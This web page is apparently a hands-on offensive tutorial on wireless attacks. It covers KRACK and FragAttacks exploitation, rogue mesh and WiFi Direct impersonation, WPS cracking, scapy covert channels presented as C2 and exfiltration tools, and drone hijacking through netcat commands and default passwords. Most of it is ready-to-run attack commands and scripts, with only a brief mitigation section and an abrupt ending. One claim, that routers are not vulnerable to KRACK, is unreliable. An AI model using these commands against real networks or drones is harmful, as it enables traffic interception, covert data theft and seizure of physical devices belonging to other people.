Advanced Wireless Attacks

Master cutting-edge wireless attacks including KRACK key reinstallation, FragAttacks frame aggregation/fragmentation exploits, mesh network attacks, covert channels, Wi-Fi Direct exploitation, and drone hijacking.

💥 KRACK - Key Reinstallation Attacks

KRACK (Key Reinstallation AttaCK) is a fundamental cryptographic vulnerability in the WPA2 protocol discovered in 2017 by Mathy Vanhoef. Unlike typical WiFi attacks that target weak passwords, KRACK exploits a design flaw in how WPA2 handles encryption key installation during the 4-way handshake. This means any correctly implemented WPA2 network is vulnerable regardless of password strength.

The attack works by manipulating the WPA2 handshake to force the victim to reinstall an already-in-use encryption key. When a key is reinstalled, associated parameters like the nonce (number used once) and replay counter are reset to their initial values. By forcing nonce reuse, an attacker can decrypt, replay, and forge packets without knowing the WiFi password.

KRACK Technical Overview

To understand KRACK, you need to know how the WPA2 4-way handshake works. When a client connects to a WPA2 network, both parties derive encryption keys from the pre-shared key (PSK) and exchange nonces through a 4-message handshake. The third message installs the Pairwise Transient Key (PTK) used to encrypt unicast traffic.

The vulnerability: Message 3 can be retransmitted if the AP doesn't receive an acknowledgment for Message 4. The WPA2 standard doesn't explicitly prevent key reinstallation when receiving duplicate Message 3 packets. An attacker can abuse this by blocking Message 4 acknowledgments and repeatedly replaying Message 3, forcing the victim to reinstall the same key multiple times.

When the key is reinstalled, the nonce is reset to zero (or a known value depending on the implementation). Since the same key is now being used with a previously used nonce, the attacker can use this to decrypt traffic, forge packets, and perform man-in-the-middle attacks without ever cracking the WiFi password.

1. KRACK Attack Tool Setup

The original KRACK proof-of-concept by Mathy Vanhoef demonstrates the attack. You'll need two WiFi interfaces: one to act as a rogue AP (channel-based MitM) and another to communicate with the target. The tool works by cloning the target AP and precisely timing Message 3 replays to force key reinstallation.

# Install krackattacks-poc-zerokey
git clone https://github.com/vanhoefm/krackattacks-scripts
cd krackattacks-scripts

# Install dependencies
sudo apt install libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev net-tools git sysfsutils python-scapy python-pycryptodome

# Compile modified hostapd
cd krackattack
./build.sh

# Run test (requires 2 WiFi interfaces)
./krack-test-client.py

# Perform KRACK attack
sudo ./krack-all-zero-tk.py wlan0 wlan1 <TARGET_MAC> <CHANNEL>

2. Detect KRACK Vulnerability

# Test script for KRACK vulnerability
#!/bin/bash
# krack-test.sh

TARGET_MAC="$1"
CHANNEL="$2"

echo "[*] Testing $TARGET_MAC for KRACK vulnerability"

# Capture handshake
sudo airodump-ng -c $CHANNEL --bssid $TARGET_MAC -w krack-test wlan0mon &
AIRODUMP_PID=$!

sleep 5

# Deauth to force handshake
sudo aireplay-ng -0 5 -a $TARGET_MAC wlan0mon

sleep 10
sudo kill $AIRODUMP_PID

# Check for handshake
if aircrack-ng krack-test-01.cap | grep -q "handshake"; then
  echo "[+] Handshake captured"
  
  # Attempt key reinstallation
  sudo python3 krack-test-client.py -i wlan1 -t $TARGET_MAC
  
  if [ $? -eq 0 ]; then
    echo "[!] VULNERABLE to KRACK!"
  else
    echo "[+] Appears patched"
  fi
else
  echo "[-] Failed to capture handshake"
fi

3. Exploit KRACK for MitM

# Once KRACK successful, decrypt traffic:

# 1. Force nonce reuse
sudo python3 krack-all-zero-tk.py wlan0 wlan1 <CLIENT_MAC> <CHANNEL>

# 2. Capture traffic (now decryptable)
sudo airodump-ng -c <CHANNEL> --bssid <AP_BSSID> -w krack-decrypt wlan0mon

# 3. Decrypt with known-zero keys
# If zero-key attack worked, decrypt with:
airdecap-ng -e <ESSID> -p <ZEROS> krack-decrypt-01.cap

# 4. Analyze decrypted traffic
wireshark krack-decrypt-01-dec.cap

# 5. Inject packets (TCP hijacking, etc.)
sudo python3 inject-krack.py --target <CLIENT_MAC> --payload "<SCRIPT>"

🧩 FragAttacks - Fragmentation & Aggregation Vulnerabilities

FragAttacks (Fragmentation and Aggregation Attacks) are a collection of design flaws in the WiFi standard discovered in 2021, also by Mathy Vanhoef. These vulnerabilities affect WiFi since its inception in 1997 and remain present in WPA3. Unlike KRACK which targets key management, FragAttacks exploit how WiFi handles frame fragmentation and aggregation to inject plaintext frames into encrypted networks.

The core issue: WiFi allows mixing encrypted and unencrypted fragments/subframes without proper origin verification. This enables attackers to inject malicious plaintext data that gets processed by the victim despite being on an encrypted network. The attacks work even when the attacker doesn't know the WiFi password and can be executed from outside the network.

FragAttacks encompass 12 vulnerabilities (CVE-2020-24586 through CVE-2020-26144) grouped into three main categories: aggregation attacks, mixed key attacks, and fragment cache poisoning. These can be used to exfiltrate user data, hijack TCP connections, and inject malicious content into victim devices.

FragAttacks Technical Overview

⚠️ Additional Vulnerabilities

1. FragAttacks Testing Framework

The FragAttacks research toolkit by Mathy Vanhoef includes patched versions of hostapd and wpa_supplicant that can both detect vulnerabilities and perform attacks. The tool systematically tests devices for all 12 vulnerabilities and generates detailed reports. It requires a WiFi adapter with injection capabilities and works in both AP and client testing modes.

# Install fragattacks research tool
git clone https://github.com/vanhoefm/fragattacks
cd fragattacks

# Build patched hostapd/wpa_supplicant
cd research
./build.sh

# Setup test AP
cd ..
sudo rfkill unblock wifi
sudo ./run-ap.sh wlan0 <CHANNEL> <SSID> <PASSWORD>

# Run vulnerability tests
sudo ./test-ap.sh wlan1

# Tests include:
# - A-MSDU injection
# - Fragment reassembly
# - Mixed key attacks
# - Cache poisoning

2. A-MSDU Injection Attack (CVE-2020-24588)

This is the most practical FragAttack variant. A-MSDU (Aggregate MAC Service Data Unit) allows multiple Ethernet frames to be bundled into a single WiFi frame for efficiency. The vulnerability: APs don't verify that all subframes are properly authenticated/encrypted. An attacker can create an A-MSDU frame where the outer frame is encrypted but inner subframes contain plaintext data. The AP decrypts the outer frame and forwards the plaintext subframes to the victim.

Attack scenario: Attacker connects to target network (or creates evil twin), sends specially crafted A-MSDU frame to AP with victim's MAC as destination. AP forwards the plaintext subframe to victim who processes it as legitimate traffic. This bypasses encryption without knowing the WiFi password and works from inside or outside the network.

# Exploit CVE-2020-24588 (A-MSDU SPP)
# Inject plaintext in encrypted frame

sudo python3 fragattacks/fragattack.py wlan0 \
  --inject \
  --target <CLIENT_MAC> \
  --ap <AP_BSSID> \
  --payload "GET / HTTP/1.1\r\nHost: malicious.com\r\n\r\n"

# Attack flow:
# 1. Attacker sends encrypted A-MSDU frame to AP
# 2. First subframe: legitimate encrypted data
# 3. Second subframe: malicious plaintext
# 4. AP forwards plaintext subframe to client
# 5. Client processes plaintext (bypasses encryption!)

# Use cases:
# - DNS spoofing
# - HTTP injection
# - ARP spoofing

3. Fragment Cache Poisoning (CVE-2020-24586)

WiFi supports frame fragmentation to split large packets across multiple smaller frames. Fragments are cached until all pieces arrive for reassembly. The attack: inject a malicious fragment into the cache, then trigger reassembly with a legitimate fragment. The victim combines your poisoned fragment with legitimate traffic, executing the malicious payload.

This attack requires patience. First, send a fragment with sequence number matching a future legitimate packet. The fragment sits in cache (often for 60 seconds to 10 minutes depending on implementation). When the victim sends or receives the matching legitimate fragment, the OS reassembles your poison with their traffic. This can inject arbitrary data into TCP streams, DNS queries, or HTTP requests.

# CVE-2020-24586 - Poison fragment cache
# Then trigger reassembly with malicious payload

sudo python3 fragattacks/fragattack.py wlan0 \
  --fragment-cache \
  --target <CLIENT_MAC> \
  --ap <AP_BSSID>

# Attack steps:
# 1. Send fragmented frame with PN=1 (poisoned)
# 2. Wait for cache timeout (varies: 60s - 10min)
# 3. Send legitimate fragment to trigger reassembly
# 4. Victim combines poisoned + legitimate fragments
# 5. Malicious payload executed

# Requires:
# - Knowledge of PN (Packet Number) handling
# - Timing of cache eviction

🌐 Mesh Network Attacks

WiFi mesh networks (802.11s) create self-organizing, self-healing networks where nodes communicate directly and route traffic for each other. Unlike traditional AP-client architectures, mesh networks have no central point—every node can be both client and router. This distributed nature introduces unique attack vectors beyond standard WiFi hacking.

Mesh networks use protocols like HWMP (Hybrid Wireless Mesh Protocol) for path discovery and routing. Attackers can exploit these routing protocols to intercept traffic, create routing loops, or isolate nodes. Additionally, many consumer mesh systems (Google WiFi, Eero, etc.) use proprietary protocols with undocumented security mechanisms that may contain vulnerabilities.

WiFi Mesh (802.11s) Fundamentals

802.11s defines Mesh Points (MPs) that form the backbone, Mesh APs (MAPs) that provide client access, and Mesh Portal Points (MPPs) that bridge to external networks. Nodes discover neighbors via Beacon/Probe frames containing mesh-specific information elements. Path selection uses HWMP which combines proactive (tree-based) and reactive (on-demand) routing similar to AODV.

# Mesh network reconnaissance
sudo iw dev wlan0 scan | grep -A 10 "mesh"

# Check for HWMP (Hybrid Wireless Mesh Protocol)
sudo iw dev wlan0 set type mp  # Mesh point mode
sudo iw dev wlan0 mesh join <MESH_ID>

# View mesh peers
sudo iw dev wlan0 mpath dump

# Attack vectors:
# 1. Rogue mesh node (evil twin for mesh)
# 2. Routing manipulation
# 3. Selective forwarding attack
# 4. Sinkhole attack (attract all traffic)

Rogue Mesh Node Attack

The mesh equivalent of an evil twin AP. By creating a rogue mesh point that appears legitimate, you can join the mesh and intercept traffic. If the mesh uses weak or no authentication (common in community networks), joining is trivial. Once inside, you become part of the routing infrastructure and can selectively forward, drop, or modify packets passing through your node.

Attack strategy: Place your rogue node in a location where it has good signal to multiple legitimate nodes. Advertise better metrics (lower path cost, higher bandwidth) to attract traffic routing through your node. Use iptables to NAT/forward traffic while logging or modifying data. This works especially well in public mesh networks like community WiFi where nodes automatically peer with neighbors.

# Setup rogue mesh access point
sudo iw dev wlan0 interface add mesh0 type mp
sudo iw dev mesh0 set channel <CHANNEL>
sudo ip link set mesh0 up
sudo iw dev mesh0 mesh join <MESH_ID>

# Enable forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Setup MitM
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i mesh0 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o mesh0 -m state --state RELATED,ESTABLISHED -j ACCEPT

# Intercept traffic
sudo tcpdump -i mesh0 -w mesh-intercept.pcap

Batman-adv Exploitation

# Batman-adv (Better Approach To Mobile Adhoc Networking)
# Used in community mesh networks

# Load module
sudo modprobe batman-adv

# Add interface to batman
sudo batctl if add wlan0
sudo ip link set up dev bat0

# Scan for batman nodes
sudo batctl o  # Originators (nodes)
sudo batctl n  # Neighbors

# Attack: Announce false routes
sudo batctl gw_mode server  # Declare as gateway
# Traffic routed through attacker node

📡 Covert Channels in WiFi

Covert channels hide data transmission within seemingly normal WiFi traffic to evade detection. Unlike overt exfiltration that triggers IDS alerts, covert channels embed data in protocol fields not typically monitored—beacon frames, timing patterns, packet sizes, or management frames. These techniques are used by sophisticated malware and APTs to communicate with C2 servers through corporate firewalls.

WiFi offers rich opportunities for covert channels because of its complexity. Management frames (beacons, probes, authentication) are sent unencrypted and rarely logged. Timing between frames can encode bits without sending obvious data. Even encrypted networks leak information through traffic analysis. These channels often bypass application-layer security that only inspects IP packets.

1. Beacon Frame Data Hiding

WiFi beacon frames are broadcast every 100ms (default) and contain network information like SSID, supported rates, and vendor-specific information elements (IEs). These fields can carry hidden data. For example, encode your message in the SSID (up to 32 bytes) or hide it in proprietary vendor IEs that most monitoring tools ignore. The sender broadcasts fake APs with encoded SSIDs; the receiver captures beacons and extracts the data.

This technique is particularly stealthy because beacon frames are ubiquitous—every AP broadcasts them constantly. Your covert beacons blend into the background noise of hundreds of nearby APs. Detection requires actively parsing SSID patterns or vendor IE content, which most IDS systems don't do. Throughput is limited (~320 bytes/sec with 32-byte SSIDs at 100ms intervals) but sufficient for C2 communication.

# Hide data in WiFi beacons (SSID, vendor IE)
# Sender:
#!/usr/bin/env python3
from scapy.all import *

def send_covert(data, iface="wlan0mon"):
    # Encode data in SSID
    for byte in data:
        ssid = f"Free_WiFi_{byte:02x}"
        beacon = RadioTap() / \
                 Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2="aa:bb:cc:dd:ee:ff", addr3="aa:bb:cc:dd:ee:ff") / \
                 Dot11Beacon(cap=0x1111) / \
                 Dot11Elt(ID='SSID', info=ssid)
        sendp(beacon, iface=iface, verbose=False)
        time.sleep(0.1)

send_covert(b"SECRET", "wlan0mon")

# Receiver:
def receive_covert(iface="wlan0mon"):
    packets = sniff(iface=iface, filter="type mgt subtype beacon", count=100)
    data = ""
    for pkt in packets:
        if Dot11Elt in pkt:
            ssid = pkt[Dot11Elt].info.decode()
            if ssid.startswith("Free_WiFi_"):
                hex_byte = ssid.split("_")[-1]
                data += chr(int(hex_byte, 16))
    return data

print(receive_covert("wlan0mon"))

2. Timing-Based Covert Channel

Instead of hiding data in frame content, encode it in inter-frame timing. The sender modulates the delay between transmitted frames to represent binary data: short delay = 0, long delay = 1. The receiver timestamps incoming frames and decodes the bit pattern from timing deltas. This works even through firewalls and encrypted tunnels because timing is observable externally.

Advantages: No unusual frame content triggers IDS, works on encrypted networks, can be combined with legitimate traffic (modulate delays of normal packets). Challenges: Low bandwidth (typically 10-100 bits/second), susceptible to network jitter, requires time synchronization between sender/receiver. Best used for short messages like crypto keys or C2 commands rather than bulk data exfiltration.

# Use inter-frame delays to encode data
# Binary encoding: short delay=0, long delay=1

from scapy.all import *
import time

def send_timing_covert(bits, iface="wlan0mon"):
    for bit in bits:
        # Send probe request
        probe = RadioTap() / \
                Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2="aa:bb:cc:dd:ee:ff") / \
                Dot11ProbeReq() / \
                Dot11Elt(ID='SSID', info="")
        sendp(probe, iface=iface, verbose=False)
        
        # Delay encodes bit
        if bit == '0':
            time.sleep(0.01)  # 10ms = 0
        else:
            time.sleep(0.05)  # 50ms = 1

# Send "HELLO" (01001000 01000101 ...)
message = "HELLO"
bits = ''.join(format(ord(c), '08b') for c in message)
send_timing_covert(bits, "wlan0mon")

3. Packet Size Covert Channel

# Encode data in padding/packet length
def send_size_covert(data, iface="wlan0mon"):
    for byte in data:
        # Packet size encodes byte value
        padding = b'\x00' * int(byte)
        
        frame = RadioTap() / \
                Dot11(type=0, subtype=4) / \
                Dot11ProbeReq() / \
                Dot11Elt(ID='SSID', info="CovertAP") / \
                Raw(load=padding)
        
        sendp(frame, iface=iface, verbose=False)

send_size_covert(b"\x48\x45\x4c\x4c\x4f", "wlan0mon")  # HELLO

📲 WiFi Direct Exploitation

WiFi Direct (also called WiFi P2P) enables devices to connect directly without a traditional access point. One device acts as a "Group Owner" (GO) providing network services, while others join as clients. WiFi Direct is ubiquitous in modern devices—used for screen casting (Miracast), file transfer (Samsung Direct Share), printer connections, and smart TV apps.

Security-wise, WiFi Direct inherits all WPA2 vulnerabilities plus additional attack surface. Most critically: WiFi Direct uses WPS (WiFi Protected Setup) for initial pairing, which means all WPS attacks (Pixie Dust, PIN brute force) work against P2P connections. Many implementations use weak or default PINs, and users often accept P2P connections without verification, enabling rogue device attacks.

WiFi Direct Architecture

WiFi Direct operates in two roles: Group Owner (GO) acts like an AP (provides DHCP, manages connections), while clients connect to the GO. Devices negotiate roles through the Group Owner Negotiation protocol—each advertises an "Intent Value" and the higher value becomes GO. Alternatively, one device can declare itself as "Autonomous GO" (always acts as GO).

Connection methods: Standard (exchange WPS PIN), PBC (push button), Label (printed PIN), Display (show PIN), Keypad (enter PIN), and NFC (out-of-band). The most common attack vector is WPS PIN—many devices use computed PINs based on MAC address or have hardcoded defaults like 12345670.

1. WiFi Direct Discovery

# Scan for WiFi Direct devices
sudo iw dev wlan0 scan | grep -A 5 "P2P"

# wpa_cli P2P commands
wpa_cli -i wlan0
> p2p_find
> p2p_peers
> p2p_peer <MAC>  # Device details

# Alternative: wpa_supplicant config
ctrl_interface=/var/run/wpa_supplicant
update_config=1
device_name=RogueP2P
p2p_go_ht40=1

# Start P2P discovery
sudo wpa_cli -i wlan0 p2p_find

2. WiFi Direct Impersonation

# Create rogue P2P device (evil twin for P2P)
# wpa_supplicant config for P2P GO (Group Owner)

network={
  ssid="DIRECT-xy-SamsungTV"
  mode=3  # P2P GO
  proto=RSN
  key_mgmt=WPA-PSK
  pairwise=CCMP
  group=CCMP
  psk="12345678"
  disabled=2
}

# Start as P2P GO
sudo wpa_supplicant -i wlan0 -c p2p.conf -B
sudo wpa_cli -i wlan0 p2p_group_add persistent=0

# Victims may auto-connect if device name matches known device

3. WiFi Direct WPS Attack

# WiFi Direct uses WPS, same vulnerabilities apply
# Get P2P GO MAC
wpa_cli -i wlan0 p2p_peers

# Pixie Dust attack on P2P GO
sudo reaver -i wlan0mon -b <P2P_MAC> -c <CHANNEL> -K -vv

# Or use OneShot
sudo python3 oneshot.py -i wlan0mon -b <P2P_MAC> -K

# Once cracked, connect:
wpa_cli -i wlan0 p2p_connect <MAC> <PIN> join

🚁 Drone WiFi Hijacking

Consumer drones often use WiFi for communication between the drone and controller or mobile app. This creates an attack surface: if you can compromise the WiFi link, you can take control of the drone. Depending on the manufacturer, this ranges from trivial (open networks, default passwords) to difficult (encrypted with certificate pinning). The most vulnerable are budget drones and older models.

Attack motivation: Beyond pranks, drone hijacking has serious implications—disable security drones, intercept aerial footage, crash drones in restricted airspace, or use hijacked drones for malicious purposes. Law enforcement and military use specialized RF jamming, but WiFi-based attacks work from a laptop and are harder to detect than broadband jamming which is illegal.

1. Drone WiFi Reconnaissance

First, identify drone WiFi networks by SSID patterns. Common patterns: DJI drones use "DJI-XXXXXXX" where X is part of the serial number; Parrot AR.Drones use "ARDRONE_XXXXXX" or "Bebop_XXXXXX"; Hubsan uses "HUBSAN-FPV_XXXXXX". You can also identify by MAC address OUI (first 3 bytes)—DJI commonly uses 60:60:1F, 34:D2:62, D4:A9:0D; Parrot uses A0:14:3D, 90:03:B7.

Once identified, check security: Older AR.Drones use completely open networks with no password. DJI uses WPA2 but often with weak or default passwords (12341234, 88888888, or a pattern based on serial number). Some drones allow changing the password but many users leave defaults. After identifying the network, attempt connection with common passwords before resorting to cracking.

# Common drone WiFi patterns:
# - DJI: SSID="DJI-XXXXXXX"
# - Parrot: SSID="ARDRONE_XXXXXX" or "Bebop_XXXXXX"
# - Hubsan: SSID="HUBSAN-FPV_XXXXXX"

# Scan for drones
sudo airodump-ng wlan0mon | grep -i "DJI|ARDRONE|BEBOP|HUBSAN"

# Identify drone by OUI
# DJI: 60:60:1F, 34:D2:62, D4:A9:0D
# Parrot: A0:14:3D, 90:03:B7

# Check for default credentials
# AR.Drone: Open network (no password!)
# DJI: Often weak PSK

2. AR.Drone Hijacking (Parrot)

Parrot AR.Drone 1.0 and 2.0 are notorious for having zero security. The drone creates an open WiFi network that anyone can join. Once connected, the drone exposes telnet (port 23) with no authentication and FTP (port 21) with anonymous login. You can literally telnet in and start sending flight commands via UDP port 5556.

Control protocol: AR.Drone uses AT commands sent via UDP. Commands include REF (takeoff/land/emergency), PCMD (movement—pitch/roll/yaw/altitude), CONFIG (change settings), and COMWDG (watchdog reset). The drone also streams video on TCP port 5555 (unencrypted). This design was meant for easy app development but makes hijacking trivial—any device on the network can send commands.

Attack scenario: Attacker joins drone's WiFi, sends emergency reset command to disconnect the legitimate controller, then sends takeoff/movement commands. The legitimate user sees their app disconnect and the drone no longer responds. Some implementations try to rate-limit command sources, but the emergency command always works, allowing denial of service (forced landing).

# AR.Drone 1.0/2.0 - Telnet control
# Default: No authentication!

# Connect to drone WiFi
sudo nmcli device wifi connect "ARDRONE_XXXXXX"

# Telnet to drone
telnet 192.168.1.1

# Control commands (UDP port 5556)
echo -ne "AT*REF=1,290717696\r" | nc -u 192.168.1.1 5556  # Emergency reset
echo -ne "AT*PCMD=1,1,0,0,0,0\r" | nc -u 192.168.1.1 5556  # Hover
echo -ne "AT*REF=1,290718208\r" | nc -u 192.168.1.1 5556   # Takeoff
echo -ne "AT*REF=1,290717696\r" | nc -u 192.168.1.1 5556   # Land

# Video stream (TCP port 5555)
nc 192.168.1.1 5555 > drone_video.h264

3. DJI Drone Attacks

# DJI drones use AES-encrypted WiFi
# But often weak PSK or default passwords

# Crack DJI WiFi
sudo airodump-ng -c <CHANNEL> --bssid <DJI_MAC> -w dji wlan0mon

# Deauth to capture handshake
sudo aireplay-ng -0 5 -a <DJI_MAC> wlan0mon

# Crack with wordlist
aircrack-ng dji-01.cap -w dji_wordlist.txt

# Common DJI passwords:
# - 12341234
# - 88888888
# - Default format: DJI-<serial_last_6_digits>

# Once connected (usually 192.168.1.0/24):
# FTP: 192.168.1.1:21 (sometimes open!)
# Telnet: 192.168.1.1:23
# HTTP: 192.168.1.1:80 (web interface)

4. Drone MitM Attack

# Setup evil twin for drone
sudo airbase-ng -e "DJI-XXXXXXX" -c <CHANNEL> wlan0mon

# DHCP server
sudo apt install dnsmasq
# /etc/dnsmasq.conf
interface=at0
dhcp-range=192.168.1.100,192.168.1.200,12h

# Enable forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# When controller connects to fake AP:
# Intercept control traffic
sudo tcpdump -i at0 -w drone_mitm.pcap

# Inject malicious commands
# (Protocol-specific: MAVLink for some, proprietary for DJI)

🧪 Testing & Verification

When performing security assessments, you need to systematically test for these vulnerabilities and document findings. Each attack vector requires specific testing procedures and tools. Below are comprehensive verification methods for the attacks covered in this guide.

KRACK Vulnerability Testing

Testing for KRACK requires attempting to force key reinstallation and observing if the device accepts duplicate Message 3 frames during the handshake. The test should verify both pairwise key (PTK) and group key (GTK) reinstallation variants. Success indicators include nonce reset to zero or observable packet replay acceptance.

#!/bin/bash
# check-krack.sh - Test if device is vulnerable

DEVICE_MAC="$1"

echo "[*] Testing $DEVICE_MAC for KRACK vulnerability"

# Test key reinstallation on various message 3 replays
for i in {1..10}; do
  echo "[+] Attempt $i: Replaying message 3"
  sudo python3 krackattacks-scripts/krack-test-client.py -i wlan1 -t $DEVICE_MAC
  
  if grep -q "zero" krack-test.log; then
    echo "[!] VULNERABLE: Zero key installed!"
    exit 1
  fi
done

echo "[+] Device appears patched"
exit 0

FragAttacks Vulnerability Detection

The FragAttacks test suite runs 12 different vulnerability checks against target devices. Each test attempts a specific attack variant (A-MSDU injection, fragment reassembly, cache poisoning, etc.) and reports whether the device is vulnerable. Testing should be performed against both APs (router/network side) and clients (device side) as vulnerabilities differ.

# Run FragAttacks test suite
cd fragattacks
sudo ./test-ap.sh wlan1 > fragattacks-results.txt

# Check results
grep -i "vulnerable" fragattacks-results.txt

# Specific tests:
# - ping-frag-sep: Fragment reassembly
# - a-msdu: A-MSDU injection
# - eapol-inject: EAPOL frame injection
# - cache-poison: Fragment cache attack

# Generate report
python3 generate_report.py fragattacks-results.txt > report.html

🛡️ Defense & Mitigation Strategies

Protecting against advanced wireless attacks requires a layered approach: patching vulnerabilities, implementing compensating controls, and monitoring for attack indicators. Since many devices (especially IoT) never receive security updates, defense-in-depth becomes critical. The strategies below apply to both enterprise and home environments.

Patching & Updates

KRACK: Patches were released October 2017+ for major operating systems. Update all devices (routers, laptops, phones, IoT). Note: Only the client side needs patching—routers/APs aren't vulnerable. However, many IoT devices never received patches and remain vulnerable. For these, isolate to a separate VLAN or upgrade to WPA3.

FragAttacks: Patches rolled out starting May 2021. This vulnerability affects both APs and clients, so both sides need updates. Check with your device manufacturer for firmware updates. Many consumer routers and IoT devices remain unpatched—consider replacing vulnerable hardware that won't receive updates.

📚 Key Takeaways